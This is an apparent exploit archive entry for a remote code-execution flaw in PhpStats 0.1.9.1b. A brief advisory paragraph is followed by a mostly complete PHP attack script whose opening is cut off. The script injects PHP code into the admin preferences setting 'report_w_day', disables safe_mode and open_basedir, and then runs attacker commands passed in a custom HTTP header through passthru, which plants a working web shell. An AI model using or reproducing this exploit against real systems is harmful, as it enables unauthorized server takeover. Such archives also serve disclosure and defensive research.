source: https://www.securityfocus.com/bid/23008/info PhpStats is prone to a remote code-execution vulnerability because the application fails to sanitize user-supplied input. An attacker may leverage this issue to execute arbitrary PHP code on an affected computer with the privileges of the webserver process. This issue affects version 0.1.9.1b; other versions may also be affected. 126 )) {$result.=" .";} else {$result.=" ".$string[$i];} if (strlen(dechex(ord($string[$i])))==2) {$exa.=" ".dechex(ord($string[$i]));} else {$exa.=" 0".dechex(ord($string[$i]));} $cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";} } return $exa."\r\n".$result; } $proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)'; function send($packet) { global $proxy, $host, $port, $html, $proxy_regex; if ($proxy=='') { $ock=fsockopen(gethostbyname($host),$port); if (!$ock) { echo 'No response from '.$host.':'.$port; die; } } else { $c = preg_match($proxy_regex,$proxy); if (!$c) { echo 'Not a valid proxy...';die; } $parts=explode(':',$proxy); $parts[1]=(int)$parts[1]; echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n"; $ock=fsockopen($parts[0],$parts[1]); if (!$ock) { echo 'No response from proxy...';die; } } fputs($ock,$packet); if ($proxy=='') { $html=''; while (!feof($ock)) { $html.=fgets($ock); } } else { $html=''; while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) { $html.=fread($ock,1); } } fclose($ock); } $host=$argv[1]; $path=$argv[2]; $pass=$argv[3]; $cmd=""; $port=80; $proxy=""; for ($i=4; $i<$argc; $i++){ $temp=$argv[$i][0].$argv[$i][1]; if (($temp<>'-p') and ($temp<>'-P')) {$cmd.=" ".$argv[$i];} if ($temp=="-p") { $port=(int)str_replace("-p","",$argv[$i]); } if ($temp=="-P") { $proxy=str_replace("-P","",$argv[$i]); } } if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;} if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;} $data ="option_new%5Bstats_disabled%5D=0"; $data.="&option_new%5Blanguage%5D=it"; $data.="&option_new%5Bcifre%5D=8"; $data.="&option_new%5Bstile%5D=1"; $data.="&option_new%5Buser_mail%5D=A@A.COM"; $data.="&option_new%5Badmin_pass%5D="; $data.="&option_new%5Bpass_confirm%5D="; $data.="&option_new%5Buse_pass%5D=0"; $data.="&option_new%5Btimezone%5D=0"; $data.="&option_new%5Bnomesito%5D=%20"; $data.="&option_new%5Bserver_url%5D=".urlencode("http://".$host); $data.="&option_new%5Btemplate%5D=default"; $data.="&option_new%5Bstarthits%5D=0"; $data.="&option_new%5Bstartvisits%5D=0"; $data.="&option%5Bmoduli_0%5D=1"; $data.="&option%5Bmoduli_1%5D=1"; $data.="&option%5Bmoduli_m_1%5D=1"; $data.="&option%5Bmoduli_2%5D=1"; $data.="&option%5Bmoduli_3%5D=1"; $data.="&option%5Bmoduli_4%5D=1"; $data.="&option%5Bmoduli_m_4%5D=1"; $data.="&option%5Bmoduli_6%5D=1"; $data.="&option%5Bmoduli_11%5D=1"; $data.="&option_new%5Bprune_0_on%5D=1"; $data.="&option_new%5Bprune_0_value%5D=24"; $data.="&option_new%5Bprune_1_value%5D=100"; $data.="&option_new%5Bprune_2_value%5D=1000"; $data.="&option_new%5Bprune_3_value%5D=1000"; $data.="&option_new%5Bprune_4_value%5D=1000"; $data.="&option_new%5Bprune_5_value%5D=1000"; $data.="&option_new%5Bauto_optimize%5D=1"; $data.="&option_new%5Bauto_opt_every%5D=100"; //do not touch $shell="6,instat_report_w=>1,auto_optimize=>1,auto_opt_every=>100,exc_fol=>1,exc_sip=>1,exc_dip=>1);"; $shell.='ini_restore(safe_mode);ini_restore(open_basedir);error_reporting(0);set_time_limit(0);passthru($_SERVER[HTTP_S]);'; $shell.='$sun=Array(sun=>1'; $data.="&option_new%5Breport_w_day%5D=".urlencode($shell); $data.="&option_new%5Bip_timeout%5D=1"; $data.="&option_new%5Bpage_timeout%5D=1200"; $packet ="POST ".$p."admin.php?action=preferenze&opzioni=applica HTTP/1.0\r\n"; $packet.="User-Agent: Mozilla/5.0\r\n"; $packet.="Host: ".$host."\r\n"; $packet.="Content-Type: application/x-www-form-urlencoded\r\n"; $packet.="Content-Length: ".strlen($data)."\r\n"; $packet.="Cookie: pass_cookie=".md5($pass).";\r\n"; $packet.="Connection: Close\r\n\r\n"; $packet.=$data; send($packet); sleep(1); $packet ="GET ".$p."admin.php HTTP/1.0\r\n"; $packet.="User-Agent: Mozilla/5.0\r\n"; $packet.="S: ".$cmd."\r\n"; $packet.="Cookie: pass_cookie=".md5($pass)."; php_stats_cache=1;\r\n"; $packet.="Host: ".$host."\r\n"; $packet.="Connection: Close\r\n\r\n"; send($packet); $temp=explode("",$html); echo $temp[0]; ?>

Query Builder